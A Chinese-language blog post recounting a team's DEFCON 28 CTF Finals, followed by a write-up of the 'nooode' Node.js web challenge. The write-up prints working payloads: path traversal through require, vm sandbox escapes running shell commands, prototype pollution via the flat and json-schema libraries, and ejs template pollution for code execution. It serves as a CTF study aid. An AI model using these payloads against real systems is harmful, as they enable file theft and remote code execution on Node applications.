距离 DEFCON 28 Final 已经过去了两个多月了,本来结束就写写,但是因为一些后来事耽搁了,现在补一下这次参赛的一些经历。

[TOC]

Preface

前言:本篇文章不代表任何组织社团的观点,全文仅代表个人看法以及意见。如有冒犯请联系我进行必要的修改。

由于今年疫情的原因,今年的 DEFCON Final 在线上举办,我有幸与 Tea Deliverers 一起参与了 DEFCON 28 CTF Final ,最终在比赛中取得了第四的成绩。本文我会主要从参赛经历见闻以及一些对于 Web 题的分析入手来写这篇文章,由于 Web 题过分简单,也没什么特别好分析的,所以没什么技术营养,可以权当小说看看,博君一笑。并且为了避免一些不必要的麻烦,全文涉及到姓名 ID 处我都尽量以某师傅进行称呼。

The First DEFCON Final In My Life

Simple Introduction

今年的赛制我这里简单介绍一下,想详细了解的可以参考一下官网:https://oooverflow.io/dc-ctf-2020-finals/

题目主要分为两种类型,一种类型是 AWD ,另一种是 KOH ,AWD 就比较常见了,就是攻防题目,这次也是我第一次接触 KOH 这种题目类型,这种题目类型往往是题目中有自己的一个积分规则,然后让各个队伍在每个 ROUND 尽可能拿到更多的分数,每个 ROUND 取前 N 名,每个 ROUND 结束统计分数并给前 N 名的队伍在总榜的 KOH 列加分。在 KOH 中如何拿更多的分数就是这个题目的出题点了,这些出题点可以有一些设置的漏洞或者什么其他的方式让你可以在一个 ROUND 厘面得更多的分数,简单来说,你可以理解 KOH 给了你一个游戏,每个队伍每5分钟玩一把游戏,你可以通过对游戏分析来找到一些 bug 或者什么其他的点,通过这个点来帮助你像“开挂”一样得分。

Time

​ We’ll start 5 AM Las Vegas time on Friday, August 7th (4 AM for setup).

Here is the schedule (Nevada time == PDT):

  • Shift 1: Friday 4am setup, 5am start, 1pm end
  • First public recap: Friday 2 PM
  • Shift 2: Friday 9pm setup, 10pm start, Saturday 6am end
  • Second public recap: Saturday 1 PM
  • Shift 3: Saturday 2pm setup, 3pm start, 11pm end
  • Shift 4: Sunday 7am setup, 8am start, 4pm end
  • Third public recap: Sunday at noon (during the game)

这轮的时间可谓是相当的所谓的“健康”了,上述时间表翻译到北京时间过来就是:

  • Shift 1: Friday 7pm setup, 8pm start, Saturday 4am end
  • Shift 2: Saturday 12am setup, 1pm start, 9pm end
  • Shift 3: Sunday 5am setup, 6am start, 2pm end
  • Shift 4: Sunday 10pm setup, 11pm start, Monday 7am end

也就是说每个 Shift 比赛进行8小时,每个 Shift 中间间隔8小时,而且是正正好好的8小时 =.= 这就是所谓的“健康”赛制,但是我从比赛场地回家休息再搞会怎么都没剩多少时间了,我觉得还不如硬肝好了(反正我觉得没几个队像我这个混子一样8小时全睡),而且还分了4轮,这是真的肝,于是那几天我的世界就变成了一天16小时的世界,8小时看题当混子,8小时睡觉。(

Stealth Ports

在 AWD 赛制中, OOO 加入了 Stealth Ports 这种机制:

​ New this year, each service will have a STEALTH port alongside it’s normal port. The stealth port will be 10000+SERVICE_PORT, so If a challenge listens on port 1337, the stealth port will be 11337. The stealth port hits the same exact challenge endpoint as the normal port, but traffic through that port will not be released to the victim team. But beware: maintaining backdoor access to other teams ain’t cheap! If your team sends any traffic through a service’s stealth port to a given team, you will only receive half points for stealing that team’s flag that round.

也就是说主办方给大家开放了一个不给流量的端口,如果有攻击方成功通过这个端口获取到防守方的 Flag ,则 Flag 分会减半。也就是说这相当于一个隐形的端口,对于一血的队伍比较有利,可以通过这个端口迅速打全场而不被捕获到流量,但是得分会减半,也算是一种双刃剑。

Before Shift 1

开始之前我也并没有什么特别的准备,经过一番讨论决定我们还是在某师傅的公司里打比赛,这些讨论包括但不限于比赛场地要不要选一个别墅啥的,但是考虑到网络问题还是决定了在公司里,以及大家要不要一起先吃个饭做个赛前动员什么的。所以就在开赛前2小时多,也就是下午5点多,我随我 Mentor 就一起去跟队员们吃了个饭,也算是跟大家认识认识,然后就被排在了 Leader 旁边坐(紧张死了,有种领导夹菜我转桌的冲动),然后 Leader 旁边又是那个统治强网杯的“那个男人”(又紧张死了,第一次跟这种可怕的巨型大佬生物进行交流),整个会餐就这样在对于我来说在一种不可名状的氛围下结束了。XD(感觉其他人真的是又强又壮,就我一个可怜弱小的小菜鸡

Shift 1

由于之前接入等等准备工作师傅们都做完了,我便在 setup 就开混了,于是就尬等比赛开始。第一天放了貌似两个二进制的 AWD ,还有一个 KOH ,KOH 给的是一个 21 点的游戏,跟普通的 21 点游戏差不多,有一个庄家,所有队伍都进行下注,要牌超过 21 点的队伍就在当前 ROUND 直接出局,剩下的队伍继续进行游戏,通过这样的方式决出游戏积分前五名,在对应队伍的 KOH 分数上进行加分。

一开始没什么队伍得分,由于给出的是 Web 地址,于是我们一开始就当作 Web 题来做了,各种测了测,然后发现虽然这个 Web 平台是 Flask 并且开了 Debug ,一个上传错误直接跳到了 Debug 错误界面,但是由于没有找到其他地方有洞可以利用来获取 PIN 码,这条路就作废了。

然后十多分钟后,我们渐渐发现这个可以看到全局队伍所有人的上传文件,虽然文件有一定格式,并且类似一个指令类型的文件,虽然我们当时看不懂,但是发现 A0E 在得分之后,我们拿 A0E 的过来用就可以直接得分了(

后面才知道我上传的文件是修改了我们每次下注的积分,因为初始的时候每个队都一样,一次把自家身家200一次下完,而输的概率又很大,基本立马就出局了,然而通过一开始直接下注 1 个积分,这样就可以立马稳住战局,至少可以不会立马出局就可以排前五上分了。于是我们一开始就在 KOH 上分了,就这样通过 KOH 得分,我们稳住了前一天的排名,第一天的得分也就基本全都来自于 KOH 。

Shift 2 & Shift 3

由于时间也比较久远了,我记的不是特别清楚,这两个 Shift 就放一起了。由于之前貌似大家没怎么打 DEFCON QUALS 或者说打了的师傅这次 Final 没打?我们一开始并没有发现 KOH 那个题是改自 DEFCON QUALS Fountain OOO REliving ,是一个 Golly 相关的逆向题,当时看 QUALS 的 WriteUp 也是相当崩溃的,由于我这个小菜鸡没什么逆向基础,跟某师傅硬着头皮搞也没怎么搞出来,而这个还是升级版,当时看这个题目的附件图还是一脸懵逼的:

在 Golly 上瞎弄更是相当懵逼。虽然逆向帮不上啥,但是我还是每个 ROUND 都看一看各个队伍的表现以及策略,然后发现感觉也可能是一个数学期望题(?),我就尝试着算一下每次下注多少才能让我们每个 ROUND 大概率能在现有的队伍策略中胜出,然后通过不断的试不断的改,后面基本上靠运气能拿下不少分(

后面我们 AWD 分数也起来了,截止到 Shift 2 结束,我截了一张当时的图。(看着当时的 KOH 感觉当时运气真好

后面在 Shift 3 的时候,这个 21 点的题目一开始没多久就下了,于是我又开始混起来了,也就随便看看平台,然后看看队友们在干啥,中间貌似有一个 RPG 游戏的 AWD 题目,当时看他们玩起来感觉很有意思,就是大家通过操控自己的角色进行对应的操作拿 Flag ,而且还是具有一定实时操作性,总之看起来他们在打这个游戏非常有意思 XD

然后后面又放了两个 KOH ,一个是非常 Geek 的弹球游戏,还有一个是开飞船打飞船的游戏,两个都是逆向,也让我混的是理直气壮(大雾),虽然我想尽可能地帮忙,但是真是菜的真实,也就到处看看有什么可以帮忙的地方,比如,拿外卖(海盗虾饭外卖是真好吃,泡面真香,好久没吃泡面了,呜呜呜TAT)

是我本人没错了(

后面主办方公布了 21 点的 WriteUp: https://github.com/o-o-overflow/dc2020f-casinooo-life-blackjack

虽然没怎么看懂逆向部分,但是看起来我们那个改下注分数的做法是解法之一,并且其他解法看起来也是挺有意思的。

Shift 4

在最后一天开始几小时之后,主办方终于放出了一个本场唯一一个 Web ,题目地址在 dc2020f-nooode-public ,整个题目我引用 PPP 对于这个题目的评价——“By the start of the final day, all of us were pretty much at our limits. Fortunately, the OOO maintained a tradition of releasing silly web problems near the end of the competition, and this year was no exception.”(此处采用了引用论证,引用了比较权威的人士对于题目的评价,增加了说服力)

基本上可以说是一句话在 Nodejs 上的完美体现,于是一开始就有人开始直接打了,我们也马上发现了这个 Backdooor ,于是我们也开始打,但是由于这个 Backdooor 真的是 silly ,很多队都迅速修了(除了 pasten 貌似没人参赛),后面也就没什么打法了。后面通过我们队里巨强的某师傅上了他写的巨强的 WAF ,我们拥有了巨强的防守能力。

于是就跟 A0E 某师傅尬聊了,

But 比赛过程中,有一轮突然我们又可以打很多队,突然发现主办方貌似又在没提前通知的情况下(也好像是通知了我没注意)重置了各队伍的环境,我们发现了又立马修了一波,然后发现是加强了 Check ,只能把超强师傅写的超强 WAF 瞎掉了,因此又掉了一些分(

But 比赛过程中,我们貌似有一个非 Web AWD 题目提交的 Patch 没通过而主办方没通知我们就立马断了我们跳板机网络,导致影响了我们大概两轮的操作。

Web 后面会单独做一些简单的分析,Web 题比较让我意外的是,A0E 他们使用的是黑名单过滤的机制,被我们的超级大师傅手动绕了,打了两回合就被修了,这也成了后面的一个伏笔。(某个渣男竟然跟我说要睡了却还在看流量

Stealth Port 的流量官方也公布了:https://oooverflow.io/dc-ctf-2020-finals/stealth.txt ,虽然看的有点迷惑,不过还是可以看到最后我们 Web 确实打了他们一波。

后面封榜然后到结束,基本就没有什么操作了,封榜前我看了一下分数差距,我觉得我们是应该跟 HITCON 争第三,PPP 跟 A0E 抢第一。

结束之后,虽然窗外的阳光格外的刺眼,北京早高峰伴随着汽车的鸣笛已经纷至沓来,但是室内我们比较平静,大家都收拾收拾东西,捡了捡垃圾方便阿姨打扫,随便聊了聊看了看其他队对于这次比赛的吐槽,然后就都各自回去休息了。我回去后开着 DEFCON 直播等了好一会,发现他们还挺磨蹭的,顺便洗了个澡,回来等待着揭晓最终结果。

后面公布榜单,得知我们是拿到了第四名,自己倒也没有什么特别的心情,知道之后也就整理整理这两天的题目,看了看大家对于这次比赛的评论,之后就睡了。

倒是在揭晓一二名的时候,主办方应该是特地做了一个分数动态图来显示最后比赛的激烈,烘托一下紧张的氛围,最后显示 A0E 以 2 分的优势险胜 PPP 拿到了冠军,也意味着刷新了中国大陆战队在 DEFCON CTF 上取得的最好的成绩,也算谁见证了一次历史吧 XD

Nooode

题目地址:https://github.com/o-o-overflow/dc2020f-nooode-public ,感兴趣的同学可以去分析复现一下。

Web 题问题主要是在 public-nooode/routes/config.js 文件中存在一处 BackDooor

router.post('/validated/:lib?/:f?', function(req, res, next) {
  let config = res.locals.config;

  if (!req.params.lib) req.params.lib = "json-schema"
  if (!req.params.f) req.params.f = "validate"

  let jsonlib = require(req.params.lib)
  let valid = jsonlib[req.params.f](req.body)
  if (!valid) {
    res.send("validator failed");
    return
  }
  let p;
  if (config.path) { 
    p = config.path;
  } else if (config.filepath) {
    p = config.filepath;
  }

  let data = fs.readFileSync(p).toString()
  try {
    data = JSON.parse(data)
    if (_.isEqual(req.body, data))
      res.json(data)
    else
    res.send({ "validator": valid, "data":data, "msg": "data is corrupted"})
  } catch {
    res.send({ "validator": valid, "data":data})
  }
});

比较熟悉的同学可以一眼就看看到问题所在了。

由于官方提供的是整场比赛所有的流量包过大,并没有具体分类,整个流量包多达 200 GB ,而且对于 Web 题目来说,基本几个流量包就能拿到大多数的 Payload 了,所以我拿了我手头上当时下载的基本分部了大多数时间段的流量包,提取了一下 HTTP 流量并进行了简单统计处理,并按照出现的次数进行了从高到低的排序,得到了以下的结果:

奇怪,中间好像混入了什么奇怪的东西(

当然其他流量包或许还可能存在一些其他的 Payload ,但是基本该题所有的点都在这了。并且每个流量包都充斥着大量的垃圾流量,接下来就是垃圾流量大赏,原来你就是中国文化宣传大使?不用我多说就知道了吧,跟某个师傅打过 AWD 的都应该知道是谁发的这些垃圾流量。

Require

一开始大多队伍都打的是require直接包含的点,由于题目开了 debug 报错,在使用require包含 flag 的时候会直接报错回显 flag ,如下 000AAA 即为 flag

<h1>Invalid or unexpected token</h1>
<h2></h2>
<pre>/flag:1
000AAAA
^^^

SyntaxError: Invalid or unexpected token
    at wrapSafe (internal/modules/cjs/loader.js:1070:16)
    at Module._compile (internal/modules/cjs/loader.js:1120:27)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1176:10)
    at Module.load (internal/modules/cjs/loader.js:1000:32)
    at Function.Module._load (internal/modules/cjs/loader.js:899:14)
    at Module.require (internal/modules/cjs/loader.js:1042:19)
    at Module.Hook._require.Module.require (/usr/local/lib/node_modules/pm2/node_modules/require-in-the-middle/index.js:80:39)
    at require (internal/modules/cjs/helpers.js:77:18)
    at /service/routes/config.js:21:17
    at Layer.handle [as handle_request] (/service/node_modules/express/lib/router/layer.js:95:5)</pre>

使用这个思路的 payload 就有很多变种了,例如:

  • POST /config/validated/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag HTTP/1.1 加上一些 body 内容、或者进行全 urlencode 、又或者再路径后面加一个路径POST /config/validated/%2Fflag/a HTTP/1.1
  • POST /config/validated/%2ffl%61g HTTP/1.1
  • POST /config/validated/%2fproc%2fself%2froot%2ffl%61g HTTP/1.1

vm

还有就是可以通过内置的 vm lib ,由于 vm lib 逃逸已经被弄烂了,基本能找到可以直接利用的 exp 直接拿 flag

POST /config/validated/vm/runInNewContext HTTP/1.1
Host: zedd.vv:4017
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160

["const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /f'+'l'+'a'+'g').toString()"]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 85
ETag: W/"55-/Dqsanp9FGAj8iXHTLNo/PbZBTc"
Date: Tue, 13 Oct 2020 10:52:05 GMT
Connection: close

{"validator":"000AAAA\n","data":{"treasure":"data-piece2"},"msg":"data is corrupted"}

后面的就是基本是基于 post body 的变形了:

  • ["const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /f'+'l'+'a'+'g').toString()"]
  • ["const p = this.constructor.constructor('return this.process')(); p.mainModule.require('fs').readFileSync('/f'+'l'+'a'+'g').toString()"]
  • ["p = this.constructor.constructor(\"return process\")(); r = p.mainModule.require; fs = r(\"fs\"); throw new Error(fs.readFileSync(\"/flag\").toString())"]
  • ["var process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /f'+'l'+'a'+'g').toString()"]
  • ["p = this.constructor.constructor(\"return process\")(); r = p.mainModule.require; fs = r(\"fs\"); fs.readFileSync(\"/flag\").toString()"]
  • ["const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /f'+'l'+'a'+'g').toString()"]
  • ["const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /f'+'l'+'a'+'g').toString()"]
  • ["var process = this.constructor.constructor(\"return process\")(); p.mainModule.require('child_process').execSync('cat /f'+'l'+'a'+'g').toString()"]
  • ["this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('/f'+'l'+'a'+'g')+[]"]
  • ["this.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /f*')+[]"]
  • ["const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /*g').toString()"]

flat

POST /config/validated/flat/unflatten HTTP/1.1
Host: zedd.vv:4017
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 29

{"__proto__.path": "/flag"}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 35
ETag: W/"23-RVcPh+LK1Ac7n2mAq1KjFd049Xo"
Date: Tue, 13 Oct 2020 16:54:07 GMT
Connection: close

{"validator":{},"data":"000AAAA\n"}

这个其实是 7/18 @po6ix 提出了 flat lib 中的 unflatten 存在原型链污染:https://github.com/hughsk/flat/issues/105

简单 debug 跟了一下,简化了一下原函数代码:

function unflatten (target, opts) {
  opts = opts || {}

  const delimiter = opts.delimiter || '.'
  const overwrite = opts.overwrite || false
  const transformKey = opts.transformKey || keyIdentity
  const result = {}

  //...

  Object.keys(target).forEach(function (key) {
    const split = key.split(delimiter).map(transformKey)
    let key1 = getkey(split.shift())
    let key2 = getkey(split[0])
    let recipient = result

    while (key2 !== undefined) {
      const type = Object.prototype.toString.call(recipient[key1])
      const isobject = (
        type === '[object Object]' ||
        type === '[object Array]'
      )

      // do not write over falsey, non-undefined values if overwrite is false
      if (!overwrite && !isobject && typeof recipient[key1] !== 'undefined') {
        return
      }

      if ((overwrite && !isobject) || (!overwrite && recipient[key1] == null)) {
        recipient[key1] = (
          typeof key2 === 'number' &&
          !opts.object ? [] : {}
        )
      }

      recipient = recipient[key1]
      if (split.length > 0) {
        key1 = getkey(split.shift())
        key2 = getkey(split[0])
      }
    }

    // unflatten again for 'messy objects'
    recipient[key1] = unflatten(target[key], opts)
  })

  return result
}

我们传入{"__proto__.path": "/flag"}target 变量,然后经过一些判断以及操作,经过 while 第一轮循环得到:

recipient = recipient[key1]		//recipient = {}["__proto__"]

此时 recipient 就指向了 Function.prototype ,而循环结束之后递归执行 unflatten 函数,此时

recipient[key1] = unflatten(target[key], opts) 		// recipient['path'] = unflatten("/flag", {})

而因为传入的第一个参数也就是 /flag 为字符串,被 unflatten 直接返回,也就是说最终结果为:

recipient[key1] = '/flag'		//recipient['path'] = '/flag'

整个流程可以简化为:

var obj = {};
var a = {};
obj = obj["__proto__"];
obj['path'] = '/flag';
console.log(obj.path);
console.log(a.path);

这样就完成了原型链污染的效果,我们就可以将 config.path 污染成 flag 路径了,也就可以读到 flag 了

存在一些变形比如:

  • 更改传输方式为application/x-www-form-urlencoded
  • 更改引用路径POST /config/validated/..%2fnode_modules%2fflat/unflatten HTTP/1.1

顺便,flat 已经修复了这个原型链污染,修复方式是将__proto__设置为 key1 的黑名单:https://github.com/hughsk/flat/pull/106/commits/b7815abada29592b0067e391ab215a462a7347e8

Jsonlint

POST /config/validated/jsonlint/main HTTP/1.1
Host: zedd.vv:4017
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 33

{"1":"../../../../../../../flag"}
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 1162
ETag: W/"48a-J1p7tUkAXQsyvitsec7yxDGU9yc"
Date: Tue, 13 Oct 2020 16:58:55 GMT
Connection: close

<h1>Parse error on line 1:
000AAAA
^
Expecting &#39;STRING&#39;, &#39;NUMBER&#39;, &#39;NULL&#39;, &#39;TRUE&#39;, &#39;FALSE&#39;, &#39;{&#39;, &#39;[&#39;, got &#39;undefined&#39;</h1>
<h2></h2>
<pre>Error: Parse error on line 1:
000AAAA
^
Expecting &#39;STRING&#39;, &#39;NUMBER&#39;, &#39;NULL&#39;, &#39;TRUE&#39;, &#39;FALSE&#39;, &#39;{&#39;, &#39;[&#39;, got &#39;undefined&#39;
    at Object.parseError (/service/node_modules/jsonlint/lib/jsonlint.js:55:11)
    at Object.parse (/service/node_modules/jsonlint/lib/jsonlint.js:132:22)
    at Object.commonjsMain [as main] (/service/node_modules/jsonlint/lib/jsonlint.js:427:27)
    at /service/routes/config.js:22:36
    at Layer.handle [as handle_request] (/service/node_modules/express/lib/router/layer.js:95:5)
    at next (/service/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/service/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/service/node_modules/express/lib/router/layer.js:95:5)
    at /service/node_modules/express/lib/router/index.js:281:22
    at param (/service/node_modules/express/lib/router/index.js:354:14)</pre>

这个也比较简单,jsonlint lib 中有一个 main 函数存在直接引用文件的操作:

exports.main = function commonjsMain(args) {
    if (!args[1])
        throw new Error('Usage: '+args[0]+' FILE');
    if (typeof process !== 'undefined') {
        var source = require('fs').readFileSync(require('path').join(process.cwd(), args[1]), "utf8");
    } else {
        var cwd = require("file").path(require("file").cwd());
        var source = cwd.join(args[1]).read({charset: "utf-8"});
    }
    return exports.parser.parse(source);
}

args 则是我们传入的req.body,也就是{"1":"../../../../../../../flag"},直接引入 flag 文件导致报错回显即可。

json-schema

这个库算是官方给的一个 hint 吧,因为算是在/config/validated路由默认使用的 lib ,而且搜了一下是一个废弃的仓库:https://github.com/kriszyp/json-schema/ ,而且看起来还能算是一个 0day

{"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}

经过简单调试可以发现主要问题在两个函数:checkObjcheckProp

// validate a value against a property definition
function checkProp(value, schema, path, i) {

  var l;
  path += path ? typeof i == 'number' ? '[' + i + ']': typeof i == 'undefined' ? '': '.' + i: i;
  function addError(message) {
    errors.push({
      property: path,
      message: message
    });
  }

  if ((typeof schema != 'object' || schema instanceof Array) && (path || typeof schema != 'function') && !(schema && getType(schema))) {
    if (typeof schema == 'function') {
      if (! (value instanceof schema)) {
        addError("is not an instance of the class/constructor " + schema.name);
      }
    } else if (schema) {
      addError("Invalid schema/property definition " + schema);
    }
    return null;
  }
  if (_changing && schema.readonly) {
    addError("is a readonly field, it can not be changed");
  }
  if (schema['extends']) { // if it extends another schema, it must pass that schema as well
    checkProp(value, schema['extends'], path, i);
  }
  // validate a value against a type definition
  function checkType(type, value) {
    if (type) {
      if (typeof type == 'string' && type != 'any' && (type == 'null' ? value !== null: typeof value != type) && !(value instanceof Array && type == 'array') && !(value instanceof Date && type == 'date') && !(type == 'integer' && value % 1 === 0)) {
        return [{
          property: path,
          message: (typeof value) + " value found, but a " + type + " is required"
        }];
      }
      if (type instanceof Array) {
        var unionErrors = [];
        for (var j = 0; j < type.length; j++) { // a union type
          if (! (unionErrors = checkType(type[j], value)).length) {
            break;
          }
        }
        if (unionErrors.length) {
          return unionErrors;
        }
      } else if (typeof type == 'object') {
        var priorErrors = errors;
        errors = [];
        checkProp(value, type, path);
        var theseErrors = errors;
        errors = priorErrors;
        return theseErrors;
      }
    }
    return [];
  }
  if (value === undefined) {
    if (schema.required) {
      addError("is missing and it is required");
    }
  } else {
    errors = errors.concat(checkType(getType(schema), value));
    if (schema.disallow && !checkType(schema.disallow, value).length) {
      addError(" disallowed value was matched");
    }
    if (value !== null) {
      if (value instanceof Array) {
        if (schema.items) {
          var itemsIsArray = schema.items instanceof Array;
          var propDef = schema.items;
          for (i = 0, l = value.length; i < l; i += 1) {
            if (itemsIsArray) propDef = schema.items[i];
            if (options.coerce) value[i] = options.coerce(value[i], propDef);
            errors.concat(checkProp(value[i], propDef, path, i));
          }
        }
        if (schema.minItems && value.length < schema.minItems) {
          addError("There must be a minimum of " + schema.minItems + " in the array");
        }
        if (schema.maxItems && value.length > schema.maxItems) {
          addError("There must be a maximum of " + schema.maxItems + " in the array");
        }
      } else if (schema.properties || schema.additionalProperties) {
        errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
      }
      if (schema.pattern && typeof value == 'string' && !value.match(schema.pattern)) {
        addError("does not match the regex pattern " + schema.pattern);
      }
      if (schema.maxLength && typeof value == 'string' && value.length > schema.maxLength) {
        addError("may only be " + schema.maxLength + " characters long");
      }
      if (schema.minLength && typeof value == 'string' && value.length < schema.minLength) {
        addError("must be at least " + schema.minLength + " characters long");
      }
      if (typeof schema.minimum !== undefined && typeof value == typeof schema.minimum && schema.minimum > value) {
        addError("must have a minimum value of " + schema.minimum);
      }
      if (typeof schema.maximum !== undefined && typeof value == typeof schema.maximum && schema.maximum < value) {
        addError("must have a maximum value of " + schema.maximum);
      }
      if (schema['enum']) {
        var enumer = schema['enum'];
        l = enumer.length;
        var found;
        for (var j = 0; j < l; j++) {
          if (enumer[j] === value) {
            found = 1;
            break;
          }
        }
        if (!found) {
          addError("does not have a value in the enumeration " + enumer.join(", "));
        }
      }
      if (typeof schema.maxDecimal == 'number' && (value.toString().match(new RegExp("\\.[0-9]{" + (schema.maxDecimal + 1) + ",}")))) {
        addError("may only have " + schema.maxDecimal + " digits of decimal places");
      }
    }
  }
  return null;
}
// validate an object against a schema
function checkObj(instance, objTypeDef, path, additionalProp) {

  if (typeof objTypeDef == 'object') {
    if (typeof instance != 'object' || instance instanceof Array) {
      errors.push({
        property: path,
        message: "an object is required"
      });
    }

    for (var i in objTypeDef) {
      if (objTypeDef.hasOwnProperty(i)) {
        var value = instance[i];
        // skip _not_ specified properties
        if (value === undefined && options.existingOnly) continue;
        var propDef = objTypeDef[i];
        // set default
        if (value === undefined && propDef["default"]) {
          value = instance[i] = propDef["default"];
        }
        if (options.coerce && i in instance) {
          value = instance[i] = options.coerce(value, propDef);
        }
        checkProp(value, propDef, path, i);
      }
    }
  }
  for (i in instance) {
    if (instance.hasOwnProperty(i) && !(i.charAt(0) == '_' && i.charAt(1) == '_') && objTypeDef && !objTypeDef[i] && additionalProp === false) {
      if (options.filter) {
        delete instance[i];
        continue;
      } else {
        errors.push({
          property: path,
          message: (typeof value) + "The property " + i + " is not defined in the schema and the schema does not allow additional properties"
        });
      }
    }
    var requires = objTypeDef && objTypeDef[i] && objTypeDef[i].requires;
    if (requires && !(requires in instance)) {
      errors.push({
        property: path,
        message: "the presence of the property " + i + " requires that " + requires + " also be present"
      });
    }
    value = instance[i];
    if (additionalProp && (!(objTypeDef && typeof objTypeDef == 'object') || !(i in objTypeDef))) {
      if (options.coerce) {
        value = instance[i] = options.coerce(value, additionalProp);
      }
      checkProp(value, additionalProp, path, i);
    }
    if (!_changing && value && value.$schema) {
      errors = errors.concat(checkProp(value, value.$schema, path, i));
    }
  }
  return errors;
}

首先第一次我们会进入到 checkProp 函数,传入以下参数,并进行循环

checkProp(instance,instance.$schema,'','');
//instance = {"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}
//instance.$schema = {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}

接着在经过判断之后进入checkObj函数

if(schema.properties || schema.additionalProperties){
	errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
}
//value = {"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}
//schema.properties = {"__proto__": {"properties": {"path": {"default": "/flag"}}}}

在函数循环中,再次进入到checkProp函数

for(var i in objTypeDef){ 
  if(objTypeDef.hasOwnProperty(i)){
    var value = instance[i];
    // skip _not_ specified properties
    if (value === undefined && options.existingOnly) continue;
    var propDef = objTypeDef[i];
    // set default
    if(value === undefined && propDef["default"]){
      value = instance[i] = propDef["default"];
    }
    if(options.coerce && i in instance){
      value = instance[i] = options.coerce(value, propDef);
    }
    checkProp(value,propDef,path,i);
    //i = __proto__
    //value = prototype
    //propDDef = {"properties": {"path": {"default": "/flag"}}}
  }
}

再次由判断进入到checkObj函数,传入以下参数,这时候注意value参数已经被指向Function.prototype

if(schema.properties || schema.additionalProperties){
	errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
}
//value = prototype
//schema.properties = {"path": {"default": "/flag"}}
//path = "__proto__"

所以当再次在这里进行赋值的时候,instance此时指向Function.prototype,参数 i 为 path,即被 propDef['default'] 修改成了/flag,至此完成了原型链污染

//instance = prototype
//objTypeDef = {"path": {"default": "/flag"}}
for(var i in objTypeDef){ 
  if(objTypeDef.hasOwnProperty(i)){
    var value = instance[i];
    // skip _not_ specified properties
    if (value === undefined && options.existingOnly) continue;
    var propDef = objTypeDef[i];
    // set default
    //i = path
    //value = undefined
    //propDef = {"default": "/flag"}
    if(value === undefined && propDef["default"]){
    	value = instance[i] = propDef["default"];
    }
    if(options.coerce && i in instance){
    	value = instance[i] = options.coerce(value, propDef);
    }
    checkProp(value,propDef,path,i);
		//value = "/flag"
    //propDef = {"default": "/flag"}
    //path = "__proto__"
    //i = "path"
  }
}

整个过程这里写的比较简单,不过只要简单 debug 就可以弄明白整个流程,并不算很难。污染了 path 之后,就可以跟前面的一样,直接通过fs.readFileSync(p.path).toString()来拿 flag 了。

当然还可以污染 express ejs

{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;return eval(\"process.mainModule.require('fs').readFileSync('/fl'+'ag').toString('base64')\");//x"},"path":{"type":"string","default":"/foo"}}}}}}

因为如果要污染 ejs 的话需要用到res.render,而在 app.js 中我们可以看到有一个错误处理的地方使用到了res.render

app.set("view engine", "ejs");
//...
// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get("env") === "development" ? err: {};

  // render the error page
  res.status(err.status || 500);
  res.render("error");
});

所以我们需要一个报错来触发这个res.render,而我们传入的"path":{"type":"string","default":"/foo"}就起到了污染之前的 path 让 nodejs 读取到了一个不存在的文件引起报错,进而进入错误处理来实现 ejs 的命令执行。

所以之前对于 flat 的原型链污染也可以根据同样的原理进行 RCE :

{"__proto__.outputFunctionName": "a=1;process.mainModule.require('child_process').exec('touch /tmp/b')//","__proto__.path": "/foo"}

还有一些改变就是利用编码来绕过一些 waf 关键字:

